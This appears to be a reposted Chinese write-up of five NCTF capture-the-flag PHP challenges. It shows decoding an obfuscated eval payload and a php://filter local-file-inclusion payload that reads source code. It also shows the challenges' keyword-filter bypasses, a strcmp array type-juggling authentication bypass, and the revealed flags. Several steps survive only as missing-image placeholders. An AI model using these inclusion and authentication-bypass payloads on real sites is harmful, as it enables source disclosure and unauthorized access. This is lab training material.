nctf-php

来源:互联网 发布:手机淘宝电影在线看 编辑:程序博客网 时间:2024/05/18 00:12

一:nctf-php-decode
http://ctf.nuptsast.com/challenges#php%20decode

<?phpfunction CLsI($ZzvSWE) {$ZzvSWE = gzinflate(base64_decode($ZzvSWE));for ($i = 0; $i < strlen($ZzvSWE); $i++) {    $ZzvSWE[$i] = chr(ord($ZzvSWE[$i]) - 1);}return $ZzvSWE;}eval(CLsI("+7DnQGFmYVZ+eoGmlg0fd3puUoZ1fkppek1GdVZhQnJSSZq5aUImGNQBAA=="));?>

解码
http://ddecode.com/phpdecoder/

这里写图片描述

对照ascii码表
php info();nctf{gzip_base64_hhhhhh}

二:文件包含
http://ctf.nuptsast.com/challenges#%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB

点开http://4.chinalover.sinaapp.com/web7/index.php 有个
click me? no
提示不用点击,好吧,还是点击看看,转到
http://4.chinalover.sinaapp.com/web7/index.php?file=show.php
解题方法:
GET or POST
file=php://filter/read=convert.base64-encode/resource=index.php&submit=%E6%8F%90%E4%BA%A4
可获得 base64 编码的 index.php
这里写图片描述

base64解码

<html>    <title>asdf</title><?php    error_reporting(0);    if(!$_GET[file]){echo '<a href="./index.php?file=show.php">click me? no</a>';}    $file=$_GET['file'];    if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){        echo "Oh no!";        exit();    }    include($file); //flag:nctf{edulcni_elif_lacol_si_siht}?></html>

三:听说PHP是世界上最好的语言
http://way.nuptzj.cn/php/index.php
提示:Can you authenticate to this website? index.txt
访问:http://way.nuptzj.cn/php/index.txt
得到

<?phpif(eregi("hackerDJ",$_GET[id])) {  echo("<p>not allowed!</p>");  exit();}$_GET[id] = urldecode($_GET[id]);if($_GET[id] == "hackerDJ"){  echo "<p>Access granted!</p>";  echo "<p>flag: *****************} </p>";}?><br><br>Can you authenticate to this website?

这里写图片描述

四:http://115.28.150.176/strcmp/index.php

<?php$pass=@$_POST['pass'];$pass1=*;//被隐藏起来的密码if(isset($pass)){if(@!strcmp($pass,$pass1)){echo "flag:nctf{*}";}else{echo "the pass is wrong!";}}else{echo "please input pass!";}?>tip:strcmp(array,string)=null=0

这里写图片描述
改如下,得到flag
这里写图片描述

五:http://chinalover.sinaapp.com/web11/
提示Do you know robots.txt?
访问http://chinalover.sinaapp.com/web11/robots.txt
这里写图片描述
改如下,得到flag
这里写图片描述

0 0
原创粉丝点击